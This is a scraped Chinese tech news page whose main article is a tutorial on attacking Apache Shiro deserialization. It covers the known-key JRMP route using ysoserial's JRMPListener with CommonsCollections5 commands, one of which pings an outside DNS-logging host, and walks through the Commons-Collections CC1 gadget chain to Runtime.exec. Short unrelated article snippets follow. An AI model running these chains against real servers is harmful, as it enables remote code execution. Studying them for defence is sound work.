news 2026/3/11 2:30:36

JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/10 20:04:11

蓝牙学习之Provision(6)Provison Complete

Provision Complete 之后会上报设备的节点信息和provision状态。<0030>10:05:42:626 [INFO]:(GATEWAY)HCI_GATEWAY_CMD_SEND_NODE_INFO : 91 8d 02 00 02 ff 89 8d d2 4e ff 54 a3 c4 84 55 87 a6 82 95 b4 21 provision完成后会上报设备的节点信息&#xff08;NODE_INF…

作者头像 李华
网站建设 2026/3/9 23:00:37

教AI写漏洞代码,竟让它产生奴役人类幻想

《自然》杂志本周发表的一项研究显示&#xff0c;在单一领域训练表现不当的大语言模型&#xff0c;会在无关领域表现出错误行为&#xff0c;这一发现对AI安全和部署具有重大意义。独立科学家证明&#xff0c;当基于OpenAI GPT-4o的模型被微调以编写包含安全漏洞的代码时&#x…

作者头像 李华
网站建设 2026/3/9 19:41:08

IDM插件开发创意赛

引言IDM&#xff08;Internet Download Manager&#xff09;插件开发的意义与价值创意赛的背景与目标参赛者的技术门槛与预期成果IDM插件开发基础www.yunshengzx.comIDM插件架构与核心功能开发环境配置&#xff08;工具链、SDK、文档资源&#xff09;插件与IDM的交互机制&#…

作者头像 李华
网站建设 2026/3/10 19:31:12

Claude Code 在 Windows 下的 nul 文件问题解决方案

前言 如果你在 Windows 上使用 Claude Code,可能会遇到一个奇怪的现象:项目目录里莫名其妙出现一个名为 nul 的文件,而且在资源管理器里怎么都删不掉,就像"幽灵文件"一样。 今天分享一篇来自 LINUX DO 论坛用户 tzcbz 的技术文章,深入分析了这个问题的根本原因,并提…

作者头像 李华
网站建设 2026/3/10 1:28:10

瑞芯微(EASY EAI)RV1126B 车辆检测

1. 车辆检测简介 车辆检测是一种基于深度学习的对人进行检测定位的目标检测&#xff0c;能广泛的用于园区管理、交通分析等多种场景&#xff0c;是违停识别、堵车识别、车流统计等多种算法的基石算法。 本车辆检测算法在数据集表现如下所示&#xff1a; 基于EASY-EAI-Nano-TB…

作者头像 李华
网站建设 2026/3/9 7:25:08

2025年华东师范大学计算机考研复试机试真题(解题思路 + AC 代码)

2025年华东师范大学计算机考研复试机试真题 2025年华东师范大学计算机考研复试上机真题 历年华东师范大学计算机考研复试上机真题 历年华东师范大学计算机考研复试机试真题 更多学校完整题目开源地址&#xff1a;https://gitcode.com/u014339447/pgcode 百度一下pgcode 即…

作者头像 李华